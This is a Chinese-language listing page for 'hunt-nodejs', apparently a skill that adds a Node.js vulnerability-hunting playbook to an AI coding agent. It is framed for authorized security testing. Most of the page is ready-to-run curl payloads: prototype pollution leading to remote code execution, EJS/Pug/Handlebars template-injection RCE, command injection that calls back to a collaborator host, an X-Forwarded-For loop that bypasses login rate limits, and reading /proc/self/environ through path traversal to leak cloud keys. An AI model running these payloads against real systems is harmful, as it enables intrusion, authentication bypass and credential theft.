关于 hunt-nodejs
hunt-nodejs 是面向安全研究人员的 Node.js 应用测试技能,提供指纹识别和漏洞验证流程,涵盖原型污染、信任代理误用、模板注入、命令注入及本地文件暴露。
主要功能
- 01识别 Node.js 和 Express 目标
- 02检测原型污染
- 03测试原型污染到 RCE 的链路
- 04评估 Express 信任代理行为
- 05检查模板与 Shell 注入
- 06探测 LFI 相关进程文件暴露
适用场景
- 01在授权测试中评估 Node.js 应用
- 02检查原型污染是否到达危险调用点
- 03测试伪造转发 IP 是否绕过控制
- 04验证疑似模板或命令注入
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-nodejs安装后在 Claude Code 中输入/hunt-nodejs确认已加载。
详细介绍
HUNT-NODEJS — Node.js 特定漏洞
皇冠明珠目标
在 Node.js 后端中,原型污染到达危险函数 = 严重级别的 RCE。
最高价值攻击链:
- 原型污染 → RCE — 通过
lodash.merge/Object.assign注入__proto__→ 被污染的原型到达child_process.exec或vm.runInNewContext危险函数 - Express 信任代理 — 未经验证就设置
app.set('trust proxy', true)→ 攻击者设置X-Forwarded-For,绕过 IP 允许列表或速率限制 - EJS/Pug SSTI — 模板引擎接收用户输入 →
{{= process.mainModule.require('child_process').execSync('id') }} child_process注入 — 将用户输入插入 shell 命令字符串 → OS 命令注入require()路径遍历 — 攻击者控制模块路径 → 将任意文件作为 JS 加载
攻击面信号
X-Powered-By: Express Confirms Express.js
Node.js in error messages Runtime detected
package.json exposed Dependency list + versions
/proc/self/environ accessible Environment variable exfil
Error stack traces with .js paths Node.js confirmed
__proto__ in JSON accepted Prototype pollution candidate
阶段 1 — 指纹识别
# Confirm Node.js/Express
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"
# Check for package.json / node_modules exposure
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/package.json"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/package-lock.json"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/node_modules/.package-lock.json"
# Error-based version detection
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"
阶段 2 — 原型污染检测
# JSON body injection — test if __proto__ is accepted
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": "yes"}}'
# Constructor prototype
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/settings \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
# URL query param injection (qs library)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/data?constructor[prototype][admin]=1"
# Confirm pollution: does a subsequent request reflect the polluted key?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"
阶段 3 — 原型污染 → RCE 攻击链
# If pollution is confirmed, attempt to reach dangerous sinks
# Sink 1: child_process via options.shell pollution
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/update \
-H "Content-Type: application/json" \
-d '{
"__proto__": {
"shell": "node",
"NODE_OPTIONS": "--require /proc/self/fd/0",
"env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
}
}'
# Sink 2: lodash template pollution (CVE-2021-23337)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'
# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/template \
-H "Content-Type: application/json" \
-d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'
# OOB confirmation — check Interactsh for callback
阶段 4 — 滥用 Express 信任代理
# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?
# Spoof IP to 127.0.0.1 (localhost bypass)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/admin/action \
-H "X-Forwarded-For: 127.0.0.1" \
-H "Content-Type: application/json" \
-d '{"action": "test"}'
# Spoof to internal IP range
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/internal \
-H "X-Forwarded-For: 10.0.0.1" \
-H "X-Real-IP: 10.0.0.1"
# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/api/login \
-H "X-Forwarded-For: 1.2.3.$i" \
-d '{"email":"[email protected]","password":"wrong"}' \
-o /dev/null -w "$i: %{http_code}\n"
done
阶段 5 — 模板引擎 SSTI(EJS / Pug / Handlebars)
# EJS SSTI — if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "<%= 7*7 %>"}'
# EJS RCE payload
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'
# Pug SSTI
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'
# Handlebars — prototype pollution via template
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'
阶段 6 — child_process 命令注入
# Look for endpoints that run shell commands with user input
# Signals: /api/convert, /api/exec, /api/ping, /api/scan
# Basic injection test
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/exec \
-H "Content-Type: application/json" \
-d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'
# OOB via DNS
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"
阶段 7 — /proc/self/environ 数据窃取
# If LFI exists on Node.js app, /proc/self/environ leaks env vars
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/file?path=/proc/self/environ"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/read?file=../../../../proc/self/environ"
# Also check:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/file?path=/proc/self/cmdline" # full command-line
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/file?path=/proc/self/cwd" # working directory
攻击链表
| Node.js 漏洞发现 | 攻击链目标 | 影响 |
|---|---|---|
| 确认存在原型污染 | 查找 RCE 危险函数(child_process、eval) | 严重级别的 RCE |
| Express 信任代理 | 绕过 IP 允许列表 / 速率限制 | 绕过身份验证 / 绕过 DoS 防护 |
| 模板引擎中存在 SSTI | 执行 OS 命令 | 严重级别的 RCE |
| child_process 注入 | id && curl COLLAB_HOST | 严重级别的 RCE |
| 通过 LFI 读取 /proc/self/environ | 泄露 AWS_ACCESS_KEY_ID | 云环境遭攻陷 |
验证
✅ 原型污染:后续 API 响应中出现了未随请求发送的键
✅ RCE 攻击链:收到 OOB 回调,或响应中出现 id 的输出
✅ 信任代理:接受伪造 IP,且能绕过速率限制或允许列表
严重程度:
- 原型污染 → RCE:严重
- SSTI → RCE:严重
- child_process 注入:严重
- 信任代理 → 绕过速率限制:中等
- /proc/self/environ 数据窃取:高(存在云密钥时)
验证检查
运行以下自测,确认 nodejs 漏洞搜寻已就绪:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-nodejs" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能包含类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录常见陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
这 3 项测试可验证技能结构正确且已准备就绪。
常见陷阱
- 原型污染但没有利用点 —
__proto__注入只是一种原语。需要利用点链才能实现 RCE、绕过身份验证或 XSS。 - 输入为静态内容的 eval —
eval("'use strict'; ...")不可利用。需要动态且可由用户控制的输入。 - 没有用户输入的 child_process —
exec("ls -la")不可利用,除非命令包含用户输入。 - 服务端 JavaScript 注入(SSJI) — 与原型污染不同。应区分这两类攻击。
相关技能
hunt-api-misconfig— 原型污染是 API 配置错误与 Node.js 特有危险接收点共用的根本原因类别。利用链原语:接受__proto__的 JSON 合并 →hunt-api-misconfig中的批量赋值模式(额外的控制器参数)→ 管理员字段污染用户对象。hunt-rce— 原型污染影响到child_process或vm.runInThisContext时,即可导致 RCE。利用链原语:通过shell:true或NODE_OPTIONS: "--require /proc/self/fd/0"污染__proto__→child_process.spawn使用攻击者控制的环境 → 执行任意命令。hunt-ssti— EJS、Pug 和 Handlebars SSTI 是 Node.js 特有的 RCE 攻击向量。利用链原语:模板引擎通过render()接收未清理的用户输入选项 →outputFunctionName污染(EJS CVE-2022-29078)→process.mainModule.require('child_process').execSync('id')。hunt-lfi— Node.js LFI 通常会触达require()路径遍历或res.sendFile()接收点。利用链原语:Express 静态文件服务上的?file=../../../etc/passwd→ 读取配置;require(userPath)→ 将攻击者控制的 JS 文件作为模块加载 → RCE。hunt-ssrf— Expresshttp-proxy-middleware的通配符目标配置是 Node.js SSRF 攻击向量。利用链原语:将代理目标设为用户输入 → 将请求转发到内部服务 → 读取云元数据或内部管理面板。hunt-brute-force— Expresstrust proxy配置错误会使基于 IP 的速率限制失效。利用链原语:app.set('trust proxy', true)+X-Forwarded-For: 127.0.0.1→ 攻击者轮换伪造的 IP,绕过登录速率限制。security-arsenal— 使用 Node.js 原型污染 gadget 树(lodash.merge、Object.assign、qs.parse、express-formidable、cookie-parser合并模式)以及 EJS/Pug/Handlebars SSTI 载荷包。triage-validation— 声称原型污染导致 Critical RCE 前,先应用 Pre-Severity Gate。污染__proto__只是一个原语——只有当它影响到会将被污染属性解析为命令、环境变量或选项的接收点时,才属于 Critical。撰写报告前,先通过 OOB 回调证明该接收点可达。
评论
支持 Markdown